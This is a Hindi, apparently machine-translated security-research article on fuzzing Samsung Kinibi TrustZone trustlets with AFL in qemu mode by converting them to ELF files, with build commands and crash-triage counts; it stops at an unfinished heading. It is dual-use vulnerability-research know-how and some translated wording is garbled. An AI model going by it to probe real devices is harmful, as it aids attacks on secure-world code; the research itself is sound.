🕓 🎯 🙋🏽 सैमसंग ट्रस्टज़ोन में कमजोरियों के लिए खोजें, या एएफएल फ़ज़ सभी 👨🏼‍🔬 📮 🚁

समय के साथ, अधिक से अधिक सुरक्षात्मक प्रौद्योगिकियां दिखाई देती हैं, जिसके कारण हैकर्स को अपने बेल्ट को अधिक कसकर कसना पड़ता है। हालांकि, इस सिक्के के दो पहलू हैं: रक्षा प्रौद्योगिकियां एक अतिरिक्त हमले की सतह भी बनाती हैं, और उनके चारों ओर पाने के लिए, आपको केवल उनके कोड में कमजोरियों का उपयोग करना होगा।

आइए इन तकनीकों में से एक को देखें - एआरएम ट्रस्टज़ोन। इसके कार्यान्वयन में बड़ी मात्रा में कोड होते हैं, और उनमें कमजोरियों को देखने के लिए, आपको किसी तरह के स्वचालित तरीके की आवश्यकता होती है। हम पुरानी सिद्ध पद्धति का उपयोग करते हैं - फ़ज़िंग। लेकिन होशियार!

हम ट्रस्टजोन प्रौद्योगिकी - ट्रस्टलेट्स की शुरूआत के साथ दिखाई देने वाले विशेष अनुप्रयोगों की पूर्ति करेंगे। विस्तार से वर्णन करने के लिए कि हमने किस फ़ज़िंग की विधि को चुना है, हम पहले ट्रस्टजोन, विश्वसनीय ऑपरेटिंग सिस्टम और एक पारंपरिक ऑपरेटिंग सिस्टम के साथ बातचीत के बारे में सिद्धांत की ओर मुड़ते हैं। यह लंबे समय के लिए नहीं है। चलो चलते हैं!

एआरएम ट्रस्टजोन

एआरएम प्रोसेसर में ट्रस्टजोन प्रौद्योगिकी आपको एक सुरक्षित सुरक्षित वातावरण में गोपनीय जानकारी के प्रसंस्करण को स्थानांतरित करने की अनुमति देती है। इस तरह की प्रक्रिया को अंजाम दिया जाता है, उदाहरण के लिए, केइस्टोर, एंड्रॉइड ओएस में फिंगरप्रिंट सेवाओं, डीआरएम कॉपीराइट सुरक्षा प्रौद्योगिकियों, आदि द्वारा।

ट्रस्टज़ोन डिवाइस के बारे में पहले ही बहुत कुछ लिखा जा चुका है, इसलिए हम केवल संक्षेप में याद करेंगे।

ट्रस्टज़ोन "विश्व" (ट्रस्टज़ोन - विश्व के संदर्भ में) को दो - सामान्य दुनिया और सुरक्षित दुनिया में विभाजित करता है - और प्रोसेसर के लिए चार निष्पादन मोड जोड़ता है:

EL3 - मॉनिटर मोड - वह मोड जिसमें सिस्टम शुरू होता है, और जो सबसे पसंदीदा निष्पादन मोड है;
एस-ईएल 2 - विश्वसनीय हाइपरविजर मोड;
एस-ईएल 1 - विश्वसनीय ऑपरेटिंग सिस्टम मोड;
S-EL0 - विश्वसनीय एप्लिकेशन (विश्वसनीय एप्लिकेशन, TAs, ट्रस्टलेट्स) या ट्रस्टलेट्स का मोड।

ट्रस्टजोन तकनीक के साथ SoC पर, दो ऑपरेटिंग सिस्टम एक साथ काम कर सकते हैं। एक जो नॉर्मल वर्ल्ड में काम करता है उसे रिच ओएस कहा जाता है और दूसरा सिक्योर वर्ल्ड से टीईई (ट्रस्टेड एग्जॉस्ट एनवायरनमेंट) ओएस है। इनमें से एक दर्जन से अधिक भरोसेमंद ऑपरेटिंग सिस्टम पहले से ही हैं। हम एक विशिष्ट - ट्रस्टोनिक किनबी पर ध्यान केंद्रित करेंगे। यह विशेष रूप से, एसओसी Exynos के साथ सैमसंग फोन पर गैलेक्सी एस 9 तक शामिल है।

भरोसेमंद किनबी

ट्रस्टोनिक को ARM, Gemalto, और Giesecke & Devrient (G & D) द्वारा बनाया गया था और Kinibi नाम के तहत Giesecke & Devrient (G & D) Mobicore ऑपरेटिंग सिस्टम को विकसित करना जारी रखा।

Kinibi ऑपरेटिंग सिस्टम ग्लोबल प्लेटफ़ॉर्म ट्रस्टेड एक्ज़िक्यूशन एन्वायरमेंट मानकों का समर्थन करता है। इसका संरचनात्मक चित्र चित्र में दिखाया गया है।

जैसा कि आप देख सकते हैं, ट्रस्टज़ोन के कार्यान्वयन में न केवल "संरक्षित दुनिया" में घटक शामिल हैं, बल्कि "सामान्य दुनिया" में भी घटक शामिल हैं। मुख्य को समझने के लिए, इस प्रणाली की योजना को डेवलपर के दृष्टिकोण से देखना बेहतर है।

एक निम्न स्तर पर, एक संरक्षित दुनिया में, माइक्रोकर्नेल के अलावा, ड्राइवर और एक रनटाइम मैनेजर काम करते हैं। और सामान्य दुनिया में, एक विशेष ड्राइवर काम करता है, जो अनुप्रयोगों के अनुरोध पर संरक्षित दुनिया के लिए प्रोसेसर के संक्रमण को सुनिश्चित करता है। उपयोगकर्ता स्थान स्तर पर, एप्लिकेशन और घटक संचालित होते हैं जो सामान्य और सुरक्षित दुनिया के बीच एप्लिकेशन को जोड़ने के लिए एपीआई प्रदान करते हैं। सामान्य दुनिया में एक विशेष डेमॉन भी है जो कुछ ट्रस्टलेट्स का प्रारंभिक लॉन्च प्रदान करता है, और जिसके माध्यम से क्लाइंट एप्लिकेशन से ट्रस्टलेट्स के सभी अनुरोध गुजरते हैं।

किनबी में एपीआई के दो सेट हैं: ग्लोबल प्लेटफॉर्म एपीआई (हरे रंग में संकेतित) और लिगेसी एपीआई (लाल)। दोनों सेट लगभग समान फ़ंक्शन प्रदान करते हैं, केवल पहला ग्लोबल प्लेटफ़ॉर्म मानकों के अनुसार बनाया गया था, और दूसरा, ऐसा लगता है कि मानक से पहले था, और इसलिए इसे लिगेसी कहा जाता है। इस तथ्य के बावजूद कि, नाम से देखते हुए, आपको इसके उपयोग से दूर जाना चाहिए, सैमसंग ट्रस्टलेट्स में केवल लिगेसी एपीआई का उपयोग किया जाता है।

दुनिया के बीच बातचीत

ट्रस्टजोन प्रौद्योगिकी द्वारा प्रदान किए गए अवसरों का लाभ उठाने के लिए, सामान्य दुनिया में एप्लिकेशन, जिसे क्लाइंट एप्लिकेशन कहा जाता है, विश्वसनीय अनुप्रयोगों - ट्रस्टलेट्स के साथ संवाद करते हैं। ट्रस्टलेट विभिन्न कार्यों को कार्यान्वित करते हैं: प्रमाणीकरण, कुंजी प्रबंधन, हार्डवेयर घटकों के साथ काम करना जो सुरक्षा कार्यों को लागू करते हैं, आदि।

ट्रस्टल्स के अनुरोध विशेष साझा मेमोरी का उपयोग करके प्रेषित किए जाते हैं। ट्रस्टजोन तकनीक के अनुसार, सामान्य दुनिया और संरक्षित दुनिया, मेमोरी से ऊपरी स्तर (EL0 और S-EL0) पर एक दूसरे से अलग-थलग हैं, और उनके बीच साझा मेमोरी के ऐसे क्षेत्र को बनाने के लिए, वर्ल्ड शेयर की गई मेमोरी (WSM), संरक्षित द्वारा प्रदान की गई API दुनिया।

ग्राहक आवेदन और ट्रस्टलेट के बीच बातचीत की सामान्य योजना कुछ इस तरह है:

क्लाइंट एप्लिकेशन ट्रस्ट के यूआईडी के साथ डेमन को एक्सेस करता है जिसके साथ वह एक सत्र स्थापित करना चाहता है;
डेमन ट्रस्टलेट को डाउनलोड करने के अनुरोध के साथ विश्वसनीय ऑपरेटिंग सिस्टम से संपर्क करने के लिए ड्राइवर का उपयोग करता है;
विश्वसनीय ऑपरेटिंग सिस्टम ट्रस्टलेट को संरक्षित दुनिया के एड्रेस स्पेस में लोड करता है;
क्लाइंट एप्लिकेशन फिर से डेमॉन के लिए एक अनुरोध के माध्यम से एक WSM बफर बनाता है और ट्रस्ट के अनुरोध के लिए इसमें डेटा लिखता है;
ग्राहक आवेदन अनुरोध की तत्परता की संरक्षित दुनिया को सूचित करता है;
एक सुरक्षित दुनिया में, प्रसंस्करण के लिए वांछित ट्रस्टलेट के लिए अनुरोध भेजा जाता है, और यह ट्रस्ट WSM बफर को अपने काम का परिणाम लिखता है;
अनुरोध और प्रतिक्रिया चक्र दोहरा सकते हैं;
क्लाइंट एप्लिकेशन सत्र को ट्रस्ट के साथ समाप्त करता है।

क्लाइंट एप्लिकेशन के लिए और ट्रस्टलेट के लिए इंटरेक्शन सत्र के छद्म कोड बहुत बॉयलरप्लेट लगते हैं। एक ग्राहक आवेदन के लिए:

void main() { uint8_t* tciBuffer; uint32_t tciLength; uint8_t* mem; uint32_t mem_size; mcOpenDevice(MC_DEVICE_ID_DEFAULT); mcMallocWsm(MC_DEVICE_ID_DEFAULT, 0, tciLength, &tciBuffer, 0); session.deviceId = MC_DEVICE_ID_DEFAULT; mcOpenSession(&session, &uuid, tciBuffer, tciLength); mcMap(&session, mem, mem_size, &mapInfo); mcNotify(&session); mcWaitNotification(&session, -1); mcUnmap(&session, mem1, &mapInfo1); mcCloseSession(&session); mcFreeWsm(MC_DEVICE_ID_DEFAULT, tciBuffer); mcCloseDevice(MC_DEVICE_ID_DEFAULT); }

ट्रस्टलेट के लिए:

 void tlMain(uint8_t *tciData, uint32_t tciLen) { // Check TCI size if (sizeof(tci_t) > tciLen) { // TCI too small -> end Trusted Application tlApiExit(EXIT_ERROR); } // Trusted Application main loop for (;;) { // Wait for a notification to arrive tlApiWaitNotification(INFINITE_TIMEOUT); // Process command // Notify the TLC tlApiNotify(); } }

mcNotify / tlApiNotify और mcWaitNotification / tlApiWaitNotification - ये अधिसूचना के बहुत ही कार्य हैं जो एक अनुरोध / प्रतिक्रिया दूसरी दुनिया में प्राप्त करने के लिए तैयार है, और अनुरोध प्रसंस्करण के लिए प्रतीक्षा करने का कार्य है। इसके अलावा, क्लाइंट एप्लिकेशन में mcMap फ़ंक्शन का उपयोग करने की क्षमता है। यदि आवश्यक हो तो यह आपको एक और WSM बफर बनाने की अनुमति देता है। कुल मिलाकर, इस फ़ंक्शन का उपयोग करके, आप केवल चार ऐसे बफ़र्स बना सकते हैं।

क्लाइंट एप्लिकेशन के साथ, यह स्पष्ट है - सैमसंग फोन के लिए ये साधारण एंड्रॉइड एप्लिकेशन हैं। लेकिन ट्रस्टलेट्स क्या हैं?

किनीबी ट्रस्टलेट्स

ट्रस्टलेट डिवाइस के नियमित फ़ाइल सिस्टम में स्थित हैं और निष्पादन योग्य कोड वाली फाइलें हैं। यह एंड्रॉइड के लिए सामान्य ईएलएफ या एपीके प्रारूप नहीं है। किनीबी ऑपरेटिंग सिस्टम में ट्रैस्टलेट्स का अपना MobiCore लोड फॉर्मेट (MCLF) है। यह ओपन सोर्स यूजरस्पेस -लेवल घटकों में वर्णित है जिसे ट्रस्टोनिक ने गितूब पर पोस्ट किया है। ट्रस्टलेट फ़ाइल की संरचना को ऐसी तस्वीर (बाईं ओर के ट्रस्टलेट) में योजनाबद्ध रूप से चित्रित किया जा सकता है।

निम्नलिखित विशेषताएं ट्रस्टलेट्स के लिए प्रतिष्ठित की जा सकती हैं:

एक अलग पते वाले स्थान पर निष्पादित किया जाता है, अर्थात, एक ट्रस्टलेट दूसरे को नहीं देखता है;
WSM बफ़र्स के अपवाद के साथ सामान्य दुनिया की स्मृति तक पहुँच नहीं है, TEE ऑपरेटिंग सिस्टम की मेमोरी और भौतिक मेमोरी के लिए;
पढ़ने, लिखने और निष्पादित करने के विभिन्न अधिकारों के साथ वर्गों में स्मृति में स्थित हैं;
WSM बफ़र्स गैर-निष्पादन योग्य मेमोरी में रहते हैं;
ASLR के बिना बूट
वे mclib द्वारा प्रदान की गई एपीआई का उपयोग करते हैं, एक पुस्तकालय जो संरक्षित दुनिया के लिए ग्लोबल प्लेटफॉर्म एपीआई और विरासत एपीआई को लागू करता है;
tlApi_callDriver फ़ंक्शन का उपयोग करके संरक्षित ड्राइवरों तक पहुंच सकते हैं।

जैसा कि आप देख सकते हैं, ट्रस्टलेट क्षमताओं में काफी सीमित हैं। इसके अलावा, वे कुछ रक्षा तंत्रों का उपयोग करते हैं, जैसे कि विभिन्न मेमोरी विशेषताएँ, और अधिकांश ट्रस्टलेट स्टैक को अधिलेखित करने से बचाने के लिए स्टैक कैनरी का उपयोग करते हैं। लेकिन किनबी में एएसएलआर नहीं है, हालांकि इसे नए संस्करणों में योजनाबद्ध किया गया है।

सभी प्रतिबंधों के बावजूद, हमलावर निम्नलिखित कारणों से एक हमलावर के लिए एक बहुत ही दिलचस्प लक्ष्य हैं:

यह एंड्रॉइड में उपयोगकर्तास्पेस स्तर से ट्रस्टज़ोन में एक विंडो है;
वे टीईई ऑपरेटिंग सिस्टम के मूल के लिए विशेषाधिकार बढ़ाने के लिए एक प्रारंभिक बिंदु के रूप में सेवा कर सकते हैं;
ट्रस्टलेट्स के पास संरक्षित जानकारी तक पहुंच है, जहां एंड्रॉइड कर्नेल की भी पहुंच नहीं है।

परीक्षण उपकरण के रूप में, हमने सैमसंग गैलेक्सी एस 8 का उपयोग किया। यदि आप इसमें ट्रैस्टलेट्स की तलाश करते हैं, तो यह पता चला है कि उनमें से बहुत सारे हैं।

यानी बहुत कोड है। कमजोरियों की खोज के लिए बाइनरी कोड के स्थिर विश्लेषण का उपयोग करना एक बुरा विचार जैसा लगता है। डायनेमिक एनालिसिस को एंगेज करना तो बस काम नहीं करेगा, यदि केवल इसलिए कि ट्रैस्टलेट्स का अपना स्वरूप हो, जो पारंपरिक ऑपरेटिंग सिस्टम पर चलाया जा सकता है। फीडबैक के साथ सिद्ध फ़ज़िंग विधि का उपयोग करना अच्छा होगा, और जब भी वे होते हैं, तब किसी भी तरह के ट्रस्टलेट्स की दुर्घटना को पकड़ सकते हैं। आइए इस दिलचस्प समस्या को हल करने का प्रयास करें।

यह कैसा फजीहत?

उन लोगों के लिए जो अभी तक अद्भुत एएफएल टूल और इसके कई ऐड-ऑन के साथ नहीं मिले हैं, हम इस अच्छे लेख को पढ़ने की सलाह देते हैं। और हर कोई शायद जानता है कि एएफएल ईएलएफ फाइलों को फज कर सकता है। इसके अलावा, यहां तक कि AFL इंस्ट्रूमेंटेशन के बिना शुरू में संकलित बाइनरी फाइलें। यह qemu मोड के माध्यम से प्राप्त किया जाता है। AFL qemu एमुलेटर के एक विशेष निर्माण का उपयोग करता है, जिसमें शाखा निर्देशों के बाइनरी इंस्ट्रूमेंटेशन की कार्यक्षमता qemu उपयोगकर्ता मोड में जोड़ी जाती है। यह उसे बाइनरी फ़ाइलों के लिए भी कोड कवरेज नियंत्रण के साथ फ़ज़ करने की अनुमति देता है। और इस के लिए एक बोनस निष्पादन योग्य फ़ाइलों को न केवल देशी वास्तुकला, बल्कि quu का समर्थन करता है कि सभी आर्किटेक्चर की फज करने की क्षमता है। लेकिन अपने कार्य में इस मोड का उपयोग करने के लिए, हमें किसी तरह ट्रस्टलेट्स को ईएलएफ प्रारूप में बदलने की आवश्यकता है।

चलो ट्रस्टलेट फ़ाइलों पर एक करीब से नज़र डालें। खुले प्रारूप के लिए धन्यवाद, उनके लिए आईडीए प्रो के लिए एक लोडर है। यदि आप अपने कोड को छोड़कर, कोई भी ट्रस्टलेट खोलते हैं, तो आप देख सकते हैं कि यह mclib लाइब्रेरी के कार्यों का उपयोग करता है। यह दिलचस्प है कि इस तरह के कार्यों के लिए सभी कॉलें ट्रेस्टलेट के हेडर में दर्ज पते पर एक फ़ंक्शन से गुजरती हैं। उदाहरण के लिए, यह कैसे tlApiLogvPrintf फ़ंक्शन ट्रस्टलेट के कोड में दिखता है, जो स्पष्ट रूप से, लाइनों के आउटपुट से संबंधित है।

यह देखा जा सकता है कि यह किसी अन्य फ़ंक्शन की तुलना में आगे के सभी मापदंडों को आगे बढ़ाता है। यह मैक्लिब शेड्यूलिंग फ़ंक्शन है, जिसका पता MCLF हेडर में tlApiLibEntry नामक फ़ील्ड में लिखा जाता है। यही है, इस तरह से पुकारे जाने वाले पुस्तकालय कार्य ट्रस्टलेट्स के लिए एकमात्र निर्भरता हैं; ट्रैस्टलेट के बाहर कोई अन्य लिंक नहीं है। इसका मतलब यह है कि अगर हम एपीआई कार्यों के लिए स्टब्स को लागू करते हैं, तो हम नियमित रूप से लिनक्स वातावरण में ट्रस्टलेट कोड निष्पादित कर सकते हैं, निश्चित रूप से, इसे पहले किसी ईएलएफ फ़ाइल में परिवर्तित करना। और इसका मतलब है कि हम इसे डीबग कर सकते हैं और फ़ज़ कर सकते हैं।

ईएलएफ फ़ाइल में एक ट्रस्टलेट को चालू करने के लिए, आप एक तैयार फ़ाइल ले सकते हैं, उदाहरण के लिए, मुख्य फ़ंक्शन के साथ एक खाली एप्लिकेशन को संकलित करें, और इसके हेडर के साथ ट्रस्टलेट के अनुभागों को जोड़ें। आराम से! ट्रस्टलेट कोड पर किसी तरह नियंत्रण स्थानांतरित करना भी आवश्यक है। इसके साथ कोई समस्या नहीं है, ट्रैस्टलेट हेडर में इसके प्रवेश बिंदु का पता होता है। हम अपने main फ़ंक्शन में इस पते को फ़ंक्शन के पते के रूप में परिभाषित करते हैं और इसे कॉल करते हैं। सोचने और प्रयोग करने के बाद, हम अपनी समस्या को हल करने के लिए निम्नलिखित योजना की रूपरेखा तैयार कर सकते हैं:

ट्रस्टलेट के प्रवेश बिंदु पर निष्पादन के हस्तांतरण को लागू करना;
उन पर पुस्तकालय कार्य या स्टब लागू करना;
प्रेषण समारोह को लागू करें और ट्रेट के हेडर में अपना पता लिखें;
ट्रस्टलेट के अनुभागों को वांछित पतों पर व्यवस्थित करें।

चूँकि हमें कई ट्रस्टलेट्स को एक साथ मोड़ने की आवश्यकता है, इसलिए हमें इन कार्यों को स्वचालित करने के बारे में सोचने की आवश्यकता है। प्रत्येक ट्रस्टलेट के लिए, निम्नलिखित मापदंडों को स्वचालित रूप से निर्धारित किया जाना चाहिए: प्रविष्टि बिंदु, ट्रस्टलेट के अनुभागों के पते और डब्ल्यूएसओ इनपुट बफर के आकार। इसे योजना में जोड़ें।

प्रविष्टि बिंदु, अनुभाग पते और WSM बफर आकार को परिभाषित करें।

योगिनी लीजिए

1) प्रवेश बिंदु

योजना में पहला आइटम निम्नलिखित कोड के साथ लागू करना आसान है। इसे हमारे स्रोत ELF फ़ाइल के लिए main फ़ंक्शन में जोड़ा जा सकता है।

 typedef void (*tlMain_t)(const void* tciBuffer, const uint32_t tciBufferLen); tlMain_t tlMain = sym_tlMain; tlMain(tciBuffer, tciBufferLen);

हम अपने कोड को एक ऑब्जेक्ट फाइल में संकलित करते हैं।

 $(CC) $(INCLUDE) -g -c tlrun.c

sym_tlMain को ऑब्जेक्ट फ़ाइल में जोड़ा जाना चाहिए। यह objcopy का उपयोग करके किया जा सकता है।

 arm-linux-gnueabi-objcopy --add-symbol sym_tlMain=$(TLMAIN) tlrun.o tlrun.o.1

नतीजतन, हमें tlrun.o.1 मिलता है - main फ़ंक्शन के साथ एक संकलित स्रोत जो ट्रस्टलेट कोड पर नियंत्रण स्थानांतरित करता है।

2) पुस्तकालय कार्य

पुस्तकालय कार्यों को लागू करने के लिए, पहले हमें इन सभी कार्यों की एक सूची की आवश्यकता है। एक बार उनके प्रोसेसर के आधार पर मोबाइल उपकरणों के लिए सामग्री के एक समूह के साथ क्वालकॉम से एक रिसाव था। इन सामग्रियों में कुछ चित्र, हेडर फाइलें और मोबाइल ऑपरेटिंग सिस्टम के लिए कुछ घटकों के डिबग चित्र भी थे। वहां से हमने उनकी संख्या के साथ पुस्तकालय के कार्यों के प्रोटोटाइप लिए, प्रेषण समारोह के पैरामीटर के रूप में पारित किया। एक ज्ञात उद्देश्य जैसे tlApiMalloc या tlApiLogvPrintf जैसे कार्यों के लिए tlApiLogvPrintf हमने इसी तरह के कार्यों का उपयोग libc से किया है। और फ़ंक्शंस इतने स्पष्ट नहीं हैं, उदाहरण के लिए, हमने tlApiSecSPICmd को सरल स्टब्स के साथ बदल दिया है जो अपना नाम प्रदर्शित करते हैं और ओके स्थिति वापस करते हैं। संपूर्ण API tllib.o संकलित है

 $(CC) $(INCLUDE) -g -c tllib.c

3) डिस्पैच फ़ंक्शन

प्रवेश बिंदु के पते के समान, प्रतीक जोड़ें, इसका पता सभी ट्रस्टलेट्स के लिए समान है:

 arm-linux-gnueabi-objcopy --add-symbol sym_tlApiLibEntry=0x108c tlrun.o tlrun.o.1

शेड्यूलिंग फ़ंक्शन का कार्यान्वयन तुच्छ है। केवल यह विचार करना आवश्यक है कि इसका पता हेडर में लिखा होना चाहिए। चूंकि हमें पहले से पता नहीं है कि लिंक भेजने और शुरू होने के बाद हमारा प्रेषण समारोह किस पते पर स्थित होगा, इसलिए हमें अपना पता रनटाइम में पहले से ही ट्रस्टलेट के हेडर में लिखना होगा। उदाहरण के लिए, main फ़ंक्शन को निष्पादित करने से पहले एक फ़ाइल शुरू करते समय।

 void (*sym_tlApiLibEntry)(int num) __attribute__((weak)); void tlApiLibEntry(int num) __attribute__((noplt)); __attribute__((constructor)) void init() { sym_tlApiLibEntry = tlApiLibEntry; }

४) धारा

ऑब्जेक्ट फ़ाइल में अनुभाग जोड़ें, हम objcopy भी उपयोग objcopy ।

 arm-linux-gnueabi-objcopy --add-section .tlbin_text=.text.bin \ --set-section-flags .tlbin_text=code,contents,alloc,load \ --add-section .tlbin_data=.data.bin \ --set-section-flags .tlbin_data=contents,alloc,load \ --add-section .tlbin_bss=.bss.bin \ --set-section-flags .tlbin_bss=contents,alloc,load \ tlrun.o.1 tlrun.o.2

यहाँ .tlbin_text के सेक्शन का नाम है, और .text.bin इस सेक्शन के डंप वाली फाइल का नाम है। आप उसी IDA का उपयोग करके फ़ाइल को डंप कर सकते हैं।

इस रूपांतरण के परिणामस्वरूप, स्रोत ईएलएफ फ़ाइल में एक बाइनरी ट्रस्ट जोड़ा जाएगा।

5) स्वचालन

पूरे विधानसभा के लिए, हमने सभी ट्रस्टलेट्स के लिए एक बड़े मेकफाइल कॉमन का उपयोग करने का फैसला किया और एक छोटे से एक, इसके मापदंडों के साथ प्रत्येक व्यक्तिगत ट्रस्टलेट के लिए इससे जुड़ा। प्रत्येक ट्रस्टलेट के लिए, आपको एक प्रविष्टि बिंदु, अनुभाग पते और WSM बफर आकार को परिभाषित करने की आवश्यकता है। पहले दो मापदंडों को आईडीए के लिए एक सरल स्क्रिप्ट के साथ प्राप्त करना आसान है, और बफर के आकार का निर्धारण कभी-कभी स्वचालित करने के लिए इतना आसान नहीं होता है। आप इस कार्य को स्वचालित रूप से कर सकते हैं, या आप अपने कोड का मैन्युअल रूप से विश्लेषण करके सभी ट्रस्टलेट्स के लिए इसे निर्धारित करने के लिए 10 मिनट खर्च कर सकते हैं। इन मापदंडों को आपके छोटे मेकफाइल में चर के रूप में सेट किया जा सकता है।

 TLMAIN := 0x98F5D TLTEXT := 1000 TLDATA := c0000 TLBSS := c10e0 TLTCI_LEN := 4096

और एक बड़े Makefile में, इन मापदंडों का इस तरह से उपयोग करें:

 $(CC) $(INCLUDE) -g -DTCILEN=$(TLTCI_LEN) -c tlrun.c # ... $(CC) -g tlrun.o.2 tllib.o --section-start=.tlbin_text=$(TLTEXT),--section-start=.tlbin_data=$(TLDATA),--section-start=.tlbin_bss=$(TLBSS) -o tlrun

इसलिए, हमने ट्रस्टलेट को मेमोरी में ट्रस्टलेट के अनुभागों के सही स्थान और हेडर में सही पते के साथ एक ईएलएफ फ़ाइल में बदल दिया। सिद्धांत रूप में, इसे सही ढंग से क्रियान्वित भी किया जा सकता है और आगे भी फज़ किया जा सकता है। खैर, इसे बाहर की जाँच करें!

fuzzing

चूंकि AFL गैर-देशी वास्तुकला कोड को निष्पादित करने के लिए qemu का उपयोग करता है, एक शुरुआत के लिए यह जांचना अच्छा होगा कि क्या हमारा योगिनी एमुलेटर के नीचे चल रहा है। और फिर समस्याएं तुरंत शुरू हुईं।

समस्या नंबर 1: टूलचिन

कोड संकलित करने और फ़ाइल का निर्माण करने के लिए, हमने आर्म-लाइनक्स-ग्नूएबीह टूलकिन का उपयोग किया। अंत में "hf" का अर्थ है कि संकलक ARM प्रोसेसर में हार्ड फ्लोट हार्डवेयर सपोर्ट का उपयोग करता है। जब मैंने क्यूमू एमुलेटर के तहत हमारी फ़ाइल को चलाने की कोशिश की, तो यह तुरंत "सेगमेंटेशन फ़ॉल्ट" जारी करते हुए दुर्घटनाग्रस्त हो गया। यह मानते हुए कि हमारे कोड में कहीं भी फ्लोटिंग-पॉइंट नंबरों के साथ काम नहीं किया गया था, इस दुर्घटना का कारण पूरी तरह से समझ से बाहर था। थोड़ा विचार करने के बाद, हमने हार्ड फ्लोट आर्म-लाइनक्स-ग्नुआबी के बिना टूलकिन का उपयोग करने का प्रयास करने का फैसला किया। और हम भाग्यशाली हैं! फ़ाइल ने काम किया, और इससे आउटपुट कंसोल में दिखाई देने लगा।

तो आप फज कर सकते हैं। हम AFL और यहाँ शुरू ...

समस्या संख्या 2: इंस्ट्रूमेंटेशन

किसी कारण से, एएफएल इंस्ट्रूमेंटेशन नहीं देखता है। पहले यह पूरी तरह से स्पष्ट नहीं था कि समस्या क्या थी। qemu सही तरीके से बनाया गया है, -Q विकल्प (qemu मोड) सेट है। कोसते हुए, मुझे क्यूमू के लिए एएफएल पैच के लिए स्रोत कोड में जाना पड़ा। यह पता चला है कि एएफएल पैच में, ईएलएफ फ़ाइल डाउनलोड करते समय, क्यूमू कोड सेक्शन की तलाश करता है और उन पते की सीमाओं को निर्धारित करता है जहां यह इंस्ट्रूमेंटेशन का उत्पादन करने जा रहा है। समस्या यह है कि यदि कई कोड सेक्शन हैं, तो किसी कारणवश उनमें से पहला इंस्ट्रूमेंट होगा। यह एक बग या एक विशेषता है, लेकिन हमारे पास दो कोड अनुभाग हैं, और प्रवेश बिंदु - मुख्य - दूसरे में है। जाहिर है, वह स्टार्टअप में इंस्ट्रूमेंटेशन नहीं देखता है, क्योंकि यह दूसरे खंड में नहीं है! स्रोत से आगे ऊन, आप देख सकते हैं कि जब पर्यावरण चर AFL_INST_LIBS चालू होता है, तो इंस्ट्रूमेंटेशन सीमाएं अनंत हो जाती हैं। इसे चालू करें और इसे शुरू करें।

फजीहत का काम!

विचार पक्का हो गया! हमने कस्टम प्रारूप बाइनरी फ़ाइलों पर प्रतिक्रिया के साथ फ़ज़िंग लॉन्च किया। जैसा कि आप देख सकते हैं, वह किसी प्रकार की दुर्घटना भी पाता है। इस प्रकार, हमें इस तरह के बायनेरिज़ को फुल करने का एक विश्वसनीय तरीका मिला, उनके कोड में त्रुटियों को पकड़ना और उन्हें नियमित रूप से लिनक्स में चलाना और मौजूदा टूल के साथ आसानी से डिबग करना। क्लास!

कई दिनों तक हमने सभी ट्रस्टलेट्स की फजीहत की। नतीजतन, हमारे पास बहुत सारे इनपुट डेटा जनरेटिंग क्रैश थे, और इन सभी क्रैश का विश्लेषण करने का कार्य।

विश्लेषण का क्रैश

कुल 23 ट्रस्टों के लिए AFL ने 477 परीक्षण मामलों को दुर्घटनाग्रस्त पाया। एक बड़ी राशि जिसे मैं बिल्कुल मैन्युअल रूप से संसाधित नहीं करना चाहता हूं। परीक्षण मामलों के इस सेट के बीच, लगभग समान हैं जो एक ही स्थान पर दुर्घटना उत्पन्न करते हैं। परीक्षण मामलों की अतिरेक को दूर करने के लिए, आप afl-cmin टूल का उपयोग कर सकते हैं। सभी ट्रैस्टलेट्स से गुजरने के बाद, 225 मामलों का विश्लेषण किया गया। वैसे भी, बहुत कुछ! किसी तरह से अपने काम को आसान बनाने के लिए, हमने डायनेमिक विश्लेषण टूल का उपयोग करने का निर्णय लिया, जो किसी सॉफ़्टवेयर त्रुटि और इसके किसी भी गुण को पहचानने में अधिक मदद करेगा। इससे बगों की उपयोगिता और इसके संचालन की जटिलता का मूल्यांकन करने में मदद मिलेगी।

इसलिए, कुछ प्रकार के गतिशील विश्लेषण उपकरणों का उपयोग करने के लिए, हमें कम से कम अपने परिवर्तित ट्रस्टलेट्स को मूल एआरएम सिस्टम पर चलाने की आवश्यकता है, न कि क्यूमू वर्चुअलाइजेशन के तहत। इसके लिए Linux या Android उपयुक्त हो सकता है।

अंक 3: खंड

हमने लिनक्स के साथ 32-बिट सिस्टम लेने का फैसला किया, क्योंकि 32-बिट ट्रस्टलेट्स, और लिनक्स अधिक सुविधाजनक है और इसमें एंड्रॉइड की तुलना में अधिक गतिशील विश्लेषण उपकरण हैं। और यहाँ यह पता चला है कि जब लॉन्च किया जाता है, तो हमारे कल्पित बौने तुरंत एक सेगमेंटेशन दोष जारी करते हैं।

यह पता चला कि समस्या हमारे बायनेरिज़ की असामान्यता है। उन्हें बनाते समय, आपको ट्रस्टलेट के अनुभागों को वांछित पते पर रखने की आवश्यकता होती है, जहां ट्रस्टलेट के कोड अनुभाग का पता हमेशा 0x1000 होता है। यह फ़ाइल में पहला खंड है, और इसके सामने अभी भी 0x0 पर ELF हैडर है। और लिनक्स पर, पता स्थान के पहले दो पृष्ठ, 0x2000 पते तक, उपयोगिता कार्यों के लिए आरक्षित हैं, इसलिए जब लोडर वहां एक अनुभाग को प्रोजेक्ट करने का प्रयास करता है, तो एक त्रुटि होती है।

जैसा कि यह निकला, इस स्थिति से बाहर निकलने का एक तरीका है। 64-बिट कर्नेल पर, स्मृति में पहले पृष्ठों का ऐसा आरक्षण नहीं होता है, और वर्गों की यह व्यवस्था संभव हो जाती है। चूंकि हमारी फाइलें 32-बिट हैं, इसलिए पहले 64-बिट सिस्टम पर 32-बिट वातावरण बनाना सुविधाजनक है। इन उद्देश्यों के लिए debootstrap पैकेज बढ़िया है।

समस्या संख्या 4: कोई उपकरण नहीं

